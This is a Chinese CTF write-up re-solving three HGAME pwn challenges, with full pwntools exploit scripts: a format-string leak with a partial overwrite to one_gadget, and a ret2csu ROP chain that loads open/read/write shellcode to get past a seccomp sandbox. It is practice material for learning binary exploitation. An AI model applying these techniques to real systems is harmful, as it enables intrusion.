HGAME PWN
题目复现
唉~bb
又因为太菜,被骂了……嘤嘤嘤~
从今天开始复现HGAME
的pwn
题目
WEEK1
PWN
whitegive
emm……
本身想的是它比较的是内存内容,所以直接把字符串给转成十六进制然后再用小端序,但是它这样比较的竟是地址……
from pwn import *
p = process('./whitegive')
p.sendline(str(0x402012))
p.interactive()
once
格式化字符串+栈溢出,这里没有想到的是PIE
打开了以后我们可以只修改低字节,但由于小端序:低字节在高地址。所以就可以实现修改高地址却能控制流程
from pwn import *
one_gadget = [0x4f3d5, 0x4f432, 0xe546f, 0xe5617, 0xe561e, 0xe5622, 0x10a41c, 0x10a428]
bina = './once'
elf = ELF(bina)
libc = ELF('./libc-2.27.so')
context(binary = bina, log_level='debug')
def pwn(x):
p = process(bina,env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(p,"b *$rebase(0x1201)")
payload = b'%13$p%12$p' + b'a'*(0x28 - 10) + b'\xa9'
p.sendafter("turn: ",payload)
libc_base = int(p.recv(14),16) - 231 - libc.sym['__libc_start_main']
elf_base = int(p.recv(14),16) - 0x1220
log.success("elf_base => {}".format(hex(elf_base)))
log.success("libc_base => {}".format(hex(libc_base)))
shell_addr = libc_base + one_gadget[x]
payload = b'a'*0x28 + p64(shell_addr)
p.sendafter("turn: ",payload)
p.interactive()
for i in range(len(one_gadget)):
pwn(i)
letter
保护全关???seccomp
查一下沙箱规则:
blackbird@ubuntu:~/CTF/hgame$ sudo seccomp-tools dump ./letter
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
emm……
看这规则应该是orw……
那就应该还是栈溢出,找一下漏洞点:
这里的length
本身是size_t
也就是unsigned long long
,但是LODWORD
函数的返回值是有符号型int
,然后在后面read
的时候length
又是无符号型。所以这里应该存在一个整数溢出:signed int
转unsigned int
那现在就是一个栈溢出,查了查gadgets
:
blackbird@ubuntu:~/CTF/hgame$ ROPgadget --binary ./letter --only "pop|ret"
Gadgets information
============================================================
0x0000000000400a9c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a9e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aa0 : pop r14 ; pop r15 ; ret
0x0000000000400aa2 : pop r15 ; ret
0x0000000000400a9b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a9f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007b8 : pop rbp ; ret
0x0000000000400aa3 : pop rdi ; ret
0x0000000000400aa1 : pop rsi ; pop r15 ; ret
0x0000000000400a9d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006c6 : ret
Unique gadgets found: 11
没有pop rdx;ret
……
那就用通用ret2csu
来ROP
,但是又有一个离谱的事情,程序里面没有open
函数。
所以这里要么ret2libc
,要么用系统调用号直接写shellcode
。
from pwn import *
from pwnlib.util.packing import flat
context(arch='amd64', log_level='debug')
p = process('./letter')
elf = ELF('./letter')
read_got = elf.got['read']
rwx_addr = 0x0601050
p.recvuntil('send?\n')
p.send(str(-1))
csu_start=0x0400A96
csu_end=0x0400A80
payload=flat('a'*24, csu_start,
'a'*8, 0, 1, read_got, 0x0, rwx_addr, 0x100,
csu_end,'a'*56,rwx_addr)
p.send(payload)
p.recv()
shellcode = ""
shellcode += shellcraft.open('flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)
p.send(payload)
p.interactive()